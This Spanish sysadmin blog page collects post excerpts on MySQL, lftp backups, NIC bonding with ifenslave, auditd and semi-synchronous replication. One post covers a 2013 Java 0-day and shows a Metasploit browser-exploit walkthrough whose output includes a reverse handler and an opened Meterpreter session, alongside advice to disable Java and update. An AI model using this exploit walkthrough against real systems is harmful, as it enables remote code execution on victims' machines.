mysql> SET SESSION TRANSACTION ISOLATION LEVEL READ UNCOMMITTED

Más info en la web oficial: innodb-transaction-isolation.html
Leer más

Backup incremental vía ftp

Si bien es cierto que uno de los programas más usados para hacer copias incrementales de directorios es rsync, también hay que saber sacar todo el provecho a ftp. Desde el principio de los tiempos, el sistema ftp fue usado para albergar copias de archivos y servir de backup de los mismos en numerosas ocasiones, pero el principal problema que tenía era la sincronización. Si un archivo existía podía sobre-escribirlo  pero si dentro de una carpeta un fichero se ha modificado, realmente había que subir todo el contenido de la carpeta, lo que hace que se consuma mucho ancho de banda. Para solucionarlo, investigando un poco descubrí el proyecto lftp (Sophisticated command-line FTP/HTTP client programs), que permite crear un pequeño script que sólo suba aquellos archivos que se han modificado en un directorio ftp.
A continuación os dejo un ejemplo de cómo emplearlo.
shell> lftp -c "set ftp:list-options -a;
       open ftp://usuarioftp:passwordftp@hostftp;
       lcd /directorio/donde/copiar;
       cd /directorio/local/a/copiar;
       mirror --reverse --delete;
       close -a;"
Leer más

Uso avanzado de ifenslave

Hace ya un tiempo hablamos en este blog de cómo crear un bonding en Debian, o en cualquier otro sistema Linux, ya que el proceso es prácticamente el mismo. Lo primero que se citó fue la necesidad de instalar un paquete llamado ifenslave, que era el que daba soporte para la creación del bond.
A mayores, este paquete ofrece más alternativas que dar soporte para la creación del nuevo interfaz, sino que permite en tiempo real modificar un bond ya existente, pudiendo alterar su modo e incluso añadir o sacar interfaces de red.
A continuación veremos algunos de los usos y del potencial de dicho comando.
  • Creación de un bond en tiempo real
    Si necesitamos crear un bond en nuestra máquina, pero no nos interesa crear todos los ficheros de configuración ya que es para poco tiempo, podemos hacerlo tal que así:
    shell> modprobe bonding
    shell> ifconfig bond0 192.168.0.1 netmask 255.255.0.0
    shell> ifenslave bond0 eth1 eth2
    
  • Cambiar la tarjeta de red esclava
    Un bond (según la configuración) puede estar enviado todos los paquetes por un interfaz de red y tener el otro como slave, por si algo pasa. Si nos interesa cambiar el orden de los interfaces por algún motivo,
    shell> ifenslave -c bond0 eth2 eth1
    
  • Añadir una nueva tarjeta de red
    Para añadir una nueva tarjeta de red al sistema simplemente necesitamos indicar el bond al que irá y la interfaz a añadir. La tarjeta comenzará a trabajar según la configuración del bond.
    shell> ifenslave bond0 eth2
    
  • Sacar una tarjeta de red
    Puede ser que por algún motivo necesitemos sacar una tarjeta de red momentáneamente. Si este es el caso,
    shell> ifenslave -d bond0 eth2
Leer más

java_jre17_jmxbean 0 day exploit

A finales de Agosto salió una importante vulnerabilidad en Java, un 0 day, que fue ampliamente explotado. Oracle no tardó demasiado en sacar un parque que evitaba su explotación, aunque en ese tiempo muchos sistemas ya habían caído. Esta semana apareció nuevamente un 0 day, que afecta a la última versión de Java y sin un parche disponible a fecha de hoy. Dicho 0 day permite la ejecución de código arbitrario en el equipo víctima.
Ya existe un pequeño módulo en metasploit que simplifica la explotación de dicha vulnerabilidad y lo único que es necesario es acceder a una página con el código ejecutándose y que el navegador de la víctima tenga el plugin de java activado.
msf> use exploit/multi/browser/java_jre17_jmxbean
msf exploit(java_jre17_jmxbean)> show options

Module options (exploit/multi/browser/java_jre17_jmxbean):

  Name        Setting  Required  Description
  ----        -------  --------  -----------
  SRVHOST     0.0.0.0  yes       The local host to listen on.
  SRVPORT     8080     yes       The local port to listen on.
  SSL         false    no        Negotiate SSL for incoming connections.
  SSLCert              no        Path to a custom SSL certificate.
  SSLVersion  SSL3     no        Specify the version of SSL
  URIPATH              no        The URI to use for this exploit 

Exploit target:

  Id  Name
  --  ----
  0   Generic (Java Payload)

msf exploit(java_jre17_jmxbean)> set SRVPORT 80
SRVPORT => 80
msf exploit(java_jre17_jmxbean)> set URIPATH /
URIPATH => /
msf exploit(java_jre17_jmxbean)> exploit
 [*] Exploit running as background job.

 [*] Started reverse handler on 192.168.1.33:4444 
 [*] Using URL: http://0.0.0.0:80/
 [*]  Local IP: http://192.168.1.33:80/
 [*] Server started.

msf exploit(java_jre17_jmxbean)>

 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /
 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /
 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /GapYRtBm.jar
 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /GapYRtBm.jar 
 [*] Sending stage (30216 bytes) to 192.168.1.47  
 [*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.47:2391) at 2013-01-10 20:41:37 +0100
   
msf exploit(java_jre17_jmxbean)> sessions -i 1
 [*] Starting interaction with 1...  

meterpreter>
Actualmente no hay ninguna solución para evitar este ataque, así que toca volver a desactivar Java en nuestros navegadores urgentemente!
Si usas Google Chrome, lo puedes arrancar con la opción --disable-java.

¡Actualización!
Oracle acaba de sacar una nueva versión de java, la 7u11, que soluciona el 0 day comentado. Se recomienda actualización inmediata. Como nota destacada de esta nueva versión, hay que destacar que suben el nivel de seguridad de medio a alto, por defecto y que sólo permitirán la ejecución de applets firmados y validados por CA's.

La entrada java_jre17_jmxbean 0 day exploit la puedes leer en Puppet Linux.
Leer más

Comandos interesantes, audit

Supongo que a la mayoría de los administradores de sistemas GNU/Linux siempre les gustará saber qué está pasando en su sistema y saber qué persona hace cada cosa. Si bien ya hemos hablado de algún programa que servía para loguear los comandos que se ejecutaban en el sistema, también hay otros programas, como AIDE (del que prometo hablar pronto) que también indican qué ficheros se han modificado. Sin embargo, hoy vamos a hablar de audit, un pequeño daemon para nuestro sistema que registrará el usuario que hace el cambio, cómo lo hace, qué tipo de cambio, etc. Como podéis observar un daemon muy necesario para el sistema.
Para comenzar, instalamos el software necesario. Está disponible en los repositorios de las principales distribuciones.
shell> apt-get install auditd
Una vez instalado todo lo necesario, simplemente queda configurarlo antes de arrancar el servicio. Para ello debemos de tocar dos ficheros, el auditd.conf y el audit.rules, ambos en /etc/audit. El primero es el fichero general de configuración del daemon,
# This file controls the configuration of the audit daemon

log_file = /var/log/audit/audit.log
log_format = RAW
log_group = root
priority_boost = 4
flush = INCREMENTAL
freq = 20
num_logs = 4
disp_qos = lossy
dispatcher = /sbin/audispd
name_format = NONE
##name = mydomain
max_log_file = 5
max_log_file_action = ROTATE
space_left = 75
space_left_action = SYSLOG
action_mail_acct = root
admin_space_left = 50
admin_space_left_action = SUSPEND
disk_full_action = SUSPEND
disk_error_action = SUSPEND
##tcp_listen_port =
tcp_listen_queue = 5
tcp_max_per_addr = 1
##tcp_client_ports = 1024-65535
tcp_client_max_idle = 0
enable_krb5 = no
krb5_principal = auditd
##krb5_key_file = /etc/audit/audit.key
Y el segundo, el fichero de reglas, donde indicamos el tipo de monitorización que deseamos tener sobre cada fichero y también reglas generales para todos los ficheros.
# This file contains the auditctl rules that are loaded
# whenever the audit daemon is started via the initscripts.
# The rules are simply the parameters that would be passed
# to auditctl.

# Increase the buffers to survive stress events.
# Make this bigger for busy systems
-b 320

# User administration
-w /etc/group -p wa -k SYSTEM_group
-w /etc/passwd -p wa -k SYSTEM_passwd
-w /etc/login.defs -p wa -k SYSTEM_login.defs
-w /etc/securetty -p wa -k SYSTEM_securetty
-w /etc/sysconfig/authconfig -p wa -k SYSTEM_network
-w /etc/ssh/sshd_config -p wa -k SYSTEM_sshd
Las últimas son las principales y más importantes y el significado es el siguiente,
  • -w
    es que registre cuando se modifica
  • -p wa
    Registra las modificaciones del sistema
  • -k
    Setea el filtro cuando busquemos los audit log deberemos filtrar por esta file

Ahora únicamente nos queda por arrancar el daemon.

shell> service auditd start
Tras ello, las operaciones que afecten a los ficheros indicados quedarán registradas y las podremos buscar y saber qué ha pasado gracias al comando ausearch. Por ejemplo, veamos lo que nos dice acerca del fichero /etc/ssh/sshd_config.
shell> ausearch -f /etc/ssh/sshd_config

time->Wed Nov  6 19:41:22 2012
type=PATH msg=audit(1309963282.841:81): item=0 name="/etc/ssh/sshd_config" inode=693347 dev=fd:00 mode=0100600 ouid=0 ogid=0 rdev=00:00
type=CWD msg=audit(1309963282.841:81):  cwd="/root"
type=SYSCALL msg=audit(1309963282.841:81): arch=40000003 syscall=226 success=yes exit=0 a0=8b14540 a1=1a5b0f a2=8b78430 a3=1c items=1 ppid=2960 pid=2989 auid=500 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=tty2 ses=1 comm="vim" exe="/usr/bin/vim" key="SYSTEM_sshd"
Como indicamos en negrita, vemos el uid del usuario que hizo la modificación (en este caso uid=0, root) y que empleó vim para hacer dicha modificación. También vemos la key con la que quedó registrado, para búsquedas más rápidas.
Para más información se pude consultar el man de ausearch y de auditctl.

La entrada Comandos interesantes, audit la puedes leer en Puppet Linux.
Leer más

MySQL multimaster, transacciones

Hemos hablado ya de cómo instalar un servidor MySQL en replicación multimaster, y también cómo solucionar el problema que aparecía en los autoincrementales. Hoy voy a comentar un problema que también aparece en este modelo y que es el de las transacciones. Por temas de rendimiento generalmente MySQL no escribe todos los datos a disco cada vez que algo nuevo se manda, sino que lo junta todo en lo que se denomina una transacción y luego lo realiza. Esto garantiza que los datos sean en todo momento consistentes. El problema que tenemos aquí es saber qué sucede si lo mismo sucede a través de la red. Un master puede enviar los datos para que sean escritos en 'su slave', pero éstos deben garantizarse que son escritos antes de que el master los escriba. De no ser así, podríamos llegar a un punto de inconsistencia: master y slave tendrían datos diferentes. Para evitarlo debemos habilitar las transacciones síncronas. Esto obliga a que los datos sean escritos en el slave antes que en el master y en caso de que el slave no responda, se escriben únicamente en el master pasado un tiempo. Luego el proceso de sincronización de datos deja master y slave en el mismo punto cuando el slave esté nuevamente vivo.
Para configurar esto debemos ejecutar los siguientes comandos en ambos nodos del clúster.
mysql> INSTALL PLUGIN rpl_semi_sync_master SONAME 'semisync_master.so';
mysql> INSTALL PLUGIN rpl_semi_sync_slave SONAME 'semisync_slave.so'; 
Y en el fichero de configuración (/etc/my.cnf) escribir lo siguiente,
[mysqld]
...
rpl_semi_sync_slave_enabled  = 1
rpl_semi_sync_master_enabled = 1
...
Tras ello, reiniciar el servidor MySQL.
shell> service mysql restart
Una vez terminado de aplicar en ambos nodos, podemos ver las nuevas variables aplicadas y el valor de las mismas, el cual podemos modificar a nuestro antojo, para mejorar el rendimiento si así lo consideramos oportuno.
mysql> SHOW VARIABLES LIKE 'rpl_semi_sync%';
+------------------------------------+-------+
| Variable_name                      | Value |
+------------------------------------+-------+
| rpl_semi_sync_master_enabled       | ON    |
| rpl_semi_sync_master_timeout       | 10000 |
| rpl_semi_sync_master_trace_level   | 32    |
| rpl_semi_sync_master_wait_no_slave | ON    |
| rpl_semi_sync_slave_enabled        | ON    |
| rpl_semi_sync_slave_trace_level    | 32    |
+------------------------------------+-------+
6 rows in set (0.01 sec)

mysql> SHOW STATUS LIKE 'Rpl_semi_sync%';
+--------------------------------------------+-------+
| Variable_name                              | Value |
+--------------------------------------------+-------+
| Rpl_semi_sync_master_clients               | 0     |
| Rpl_semi_sync_master_net_avg_wait_time     | 0     |
| Rpl_semi_sync_master_net_wait_time         | 0     |
| Rpl_semi_sync_master_net_waits             | 0     |
| Rpl_semi_sync_master_no_times              | 0     |
| Rpl_semi_sync_master_no_tx                 | 0     |
| Rpl_semi_sync_master_status                | ON    |
| Rpl_semi_sync_master_timefunc_failures     | 0     |
| Rpl_semi_sync_master_tx_avg_wait_time      | 0     |
| Rpl_semi_sync_master_tx_wait_time          | 0     |
| Rpl_semi_sync_master_tx_waits              | 0     |
| Rpl_semi_sync_master_wait_pos_backtraverse | 0     |
| Rpl_semi_sync_master_wait_sessions         | 0     |
| Rpl_semi_sync_master_yes_tx                | 0     |
| Rpl_semi_sync_slave_status                 | ON    |
+--------------------------------------------+-------+
15 rows in set (0.00 sec)

Si quieres ampliar información, aquí.
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios